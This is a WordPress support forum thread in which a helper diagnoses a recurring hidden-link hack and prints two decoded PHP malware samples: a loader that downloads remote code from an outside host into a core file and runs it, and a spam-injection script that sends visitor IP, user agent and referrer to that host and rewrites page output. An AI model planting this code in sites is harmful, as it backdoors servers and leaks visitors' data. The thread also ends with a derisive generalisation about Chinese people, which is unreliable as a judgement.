I was hacked with hidden link injection – please help

hi tag

heres the problem.

you were hacked months ago

http://wordpress.org/support/topic/282366?replies=3

it never got fixed right the first time.

youre seeing it happen again and again because youre addressing the symptom (changed files) not the cause.

http://wordpress.org/support/topic/268083?replies=5#post-1065779

thats the standard answer. the extra added thing is that you MUST scan your own machine(s) for malware.

—

Upgrading a hacked blog doesnt make it less hacked. it just makes it upgraded. if the door is already in place.. its still there.

Thanks Schwooba – but I think whoomai’s right: (and maybe I am too) – if he’s had this problem before, then he probably didn’t clean it properly the first time. As she says – if the door is there, it’s still there unless he’s done something about it in the correct manner.

sure .. you got that advice before:

http://wordpress.org/support/topic/268083?replies=5#post-1065779

how do I know this?

Because the code you pasted above, when decoded, can easily be seen to be calling a function:

if (!function_exists("chinst")) { function chinst() { if (!function_exists("getu")) { function getu($u, $p = array ()) { $c = @curl_init(); if ($p) { @curl_setopt($c, CURLOPT_POST, 1); @curl_setopt($c, CURLOPT_POSTFIELDS, $p); } @curl_setopt($c, CURLOPT_URL, $u); @curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); @curl_setopt($c, CURLOPT_TIMEOUT, 30); $h = @curl_exec($c); @curl_close($c); return $h; } } clearstatcache(); if (!@file_exists("./wp-includes/class-cache.php") || @filemtime("./wp-includes/class-cache.php") <= (time() - (60 * 60 * 12))) { $inc_code = @getu("http://www.myweb-statistics.cn/include.php?d=danceinisrael.com"); if ($inc_code) { $fh = @fopen("./wp-includes/class-cache.php", "w+"); @fwrite($fh, $inc_code); @fclose($fh); } } $h = ob_get_contents(); $h = trim($h); if (!empty($h) && @file_exists("./wp-includes/class-cache.php")) { @include("./wp-includes/class-cache.php"); return true; } elseif (!empty($h)) { return true; } else { return false; } }}

since the code is running, and the spam links are being displayed — the code above is working, and the fucntions being called are accissible to the script.

Another lazier alternative since you seem to want to cut corners, is to grep your files for:

chinst

OR

get-u

Also since the code above mentions a specific file,

wp-includes/class-cache.php

take a look at that..

—

if this were MY site, I would be following my repeated advice.. some people opt not to .. that’s their problem.

finally,

http://www. myweb-statistics.cn/ include.php?d =danceinisrael.com

decoded crap there:

if (!function_exists("getu_new")) { function getu_new($u, $p = array ()) { $c = curl_init(); if ($p) { curl_setopt($c, CURLOPT_POST, 1); curl_setopt($c, CURLOPT_POSTFIELDS, $p); } curl_setopt($c, CURLOPT_URL, $u); curl_setopt($c, CURLOPT_RETURNTRANSFER, 1); curl_setopt($c, CURLOPT_TIMEOUT, 30); $h = curl_exec($c); curl_close ($c); return $h; }}if (!function_exists("gggggg_key")) { function gggggg_key(&$_SERVER, $path){ if(($pos1 = strpos($_SERVER["REQUEST_URI"], $path)) !== false){ $pos1 = $pos1 + strlen($path); $key = substr($_SERVER["REQUEST_URI"], $pos1); return $key; }else{ return false; } }}if (!function_exists("gggggg_kw")) { function gggggg_kw(&$_SERVER){ if(!empty($_SERVER["HTTP_REFERER"]) && stristr($_SERVER["HTTP_REFERER"], $_SERVER["HTTP_HOST"]) == ''){ $url = parse_url($_SERVER["HTTP_REFERER"]); $query = explode("&", urldecode($url["query"])); $host = $url["host"]; foreach ($query AS $quer) { $temp = explode("=", $quer); if ($temp[0] == "q" OR $temp[0] == "searchfor" OR $temp[0] == "p" OR $temp[0] == "as_q" OR $temp[0] == "query" OR $temp[0] == "search" OR $temp[0] == "qry" OR $temp[0] == "aqp") { $new_key = urldecode($temp[1]); break; } } return $new_key; } }}if (!function_exists("type_one")) { function type_one($path, $server_cache_url) { global $_SERVER; $post = array ( "i" => urlencode($_SERVER["REMOTE_ADDR"]), "l" => rawurldecode($_SERVER["HTTP_ACCEPT_LANGUAGE"]), "h" => rawurldecode($_SERVER["HTTP_HOST"]), "m" => rawurldecode($_SERVER["HTTP_HOST"]), "u" => rawurldecode($_SERVER["HTTP_USER_AGENT"]), "r" => rawurldecode($_SERVER["HTTP_REFERER"]) ); if (($key = gggggg_key($_SERVER, $path)) !== false) { $post["a"] = 1; $post["id"] = $key; } $html = getu_new($server_cache_url, $post); return $html; }}if (!function_exists("type_two_super_cachee")) { function type_two_super_cachee(&$buffer) { type_two("/?okk=", "http://www.myweb-statistics.cn/get.php", "86400", &$buffer); }}if (!function_exists("type_two")) { function type_two($path, $server_cache_url, $lifetime, $buffer = false) { global $_SERVER; $alt_path = ""; $cache_dir = "./wp-content/cache"; $timeout = $lifetime; clearstatcache(); if (!is_dir($cache_dir)) { mkdir($cache_dir, 0777, true); } if (($key = gggggg_key($_SERVER, $path)) !== false) { $cache_fname = md5("d_" . $key) . ".html"; $type = 1; } elseif(isset($alt_path) && ($key = gggggg_key($_SERVER, $alt_path)) !== false) { $path = $alt_path; $cache_fname = md5("d_" . $key) . ".html"; $type = 1; }else{ $cache_fname = md5("d_index") . ".html"; $type = 0; } if (file_exists($cache_dir . "/" . $cache_fname) && filemtime($cache_dir . "/" . $cache_fname) >= (time() - $timeout) && ((filesize($cache_dir . "/" . $cache_fname) > 3000 && $type == 1) || (filesize($cache_dir . "/" . $cache_fname) > 400 && $type == 0))) { $fh = @fopen($cache_dir . "/" . $cache_fname, "r"); $html = @fread($fh, filesize($cache_dir . "/" . $cache_fname)); @fclose ($fh); } else { @unlink($cache_dir . "/" . $cache_fname); $html = type_one($path, $server_cache_url); if (!empty($html) && strlen($html) > 400) { $fh = @fopen($cache_dir . "/" . $cache_fname, "w"); @fwrite($fh, $html); @fclose ($fh); } else { return false; } } if ($buffer) { $old_html = $buffer; } else { $old_html = ob_get_clean(); } if ($type == 1) { if (!$buffer) ob_end_clean(); else unset ($buffer); if ($_SERVER["HTTP_REFERER"]) { $new_key = gggggg_kw($_SERVER); if (!$buffer) { ob_end_clean(); ob_end_flush(); echo "<div id=\"load\" style=\"display:block;\">Please wait.... Page loading</div>"; flush(); } if ($new_key) { $feed_data = getu_new("http://www.myweb-statistics.cn/js.php?pin=yvXI%2BxE%3D&qr=5&f=v&q=" . urlencode($new_key) . "&ip=" . urlencode($_SERVER["REMOTE_ADDR"]) . "&ua=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&ref=" . urlencode($_SERVER["HTTP_REFERER"]) . "&lang=" . urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) . "&host=" . urlencode($_SERVER["HTTP_HOST"]) . ""); flush(); } echo "<script> " . $feed_data . "</script>\r\n"; flush(); if (!$buffer) { echo "<script type=\"text/javascript\">document.getElementById(\"load\").style.display = \"none\";</script>\r\n"; flush(); } } if ($buffer) { $buffer = $html; } else { echo $html; exit; } } else { if ($_SERVER["HTTP_REFERER"] && strstr($_SERVER["REQUEST_URI"], '/?') != '') { $new_key = gggggg_kw($_SERVER); if (!empty($new_key)){ $null = getu_new("http://www.myweb-statistics.cn/js.php?pin=yvXI%2BxE%3D&qr=5&f=v&q=___err_key" . urlencode($new_key) . "&ip=" . urlencode($_SERVER["REMOTE_ADDR"]) . "&ua=" . urlencode($_SERVER["HTTP_USER_AGENT"]) . "&ref=" . urlencode($_SERVER["HTTP_REFERER"]) . "&lang=" . urlencode($_SERVER["HTTP_ACCEPT_LANGUAGE"]) . "&host=" . urlencode($_SERVER["HTTP_HOST"]) . ""); flush(); } } if (!empty($html)) { preg_match("#(<body[^>]+>|<body>)#i", $old_html, $body); if (empty($body[1])) { preg_match("#(</head>)#i", $old_html, $body); if (empty($body[1])) { preg_match_all("#<div(.*)>#i", $old_html, $match); $rand_div = "<div" . $match[1][array_rand($match[1])] . ">"; $pos1 = strpos($old_html, $rand_div); if ($pos1 > 0 && !defined("ALREADY_CHANGE_RDW")) { $old_html = substr_replace($old_html, $rand_div . $html, $pos1, strlen($rand_div)); define("ALREADY_CHANGE_RDW", true); } } else { if (!defined("ALREADY_CHANGE_HDW")) { $old_html = str_replace($body[1], $body[1] . $html, $old_html); define("ALREADY_CHANGE_HDW", true); } } } else { if (!defined("ALREADY_CHANGE_DW")) { $old_html = str_replace($body[1], $body[1] . $html, $old_html); define("ALREADY_CHANGE_DW", true); } } } if ($buffer) { $buffer = $old_html; } else { echo $old_html; } } }}

type_two("/?okk=", "http://www.myweb-statistics.cn/get.php", "86400");

gotta love the chinese.

I say, f&ck them firewalling us — we need to firewall them OUT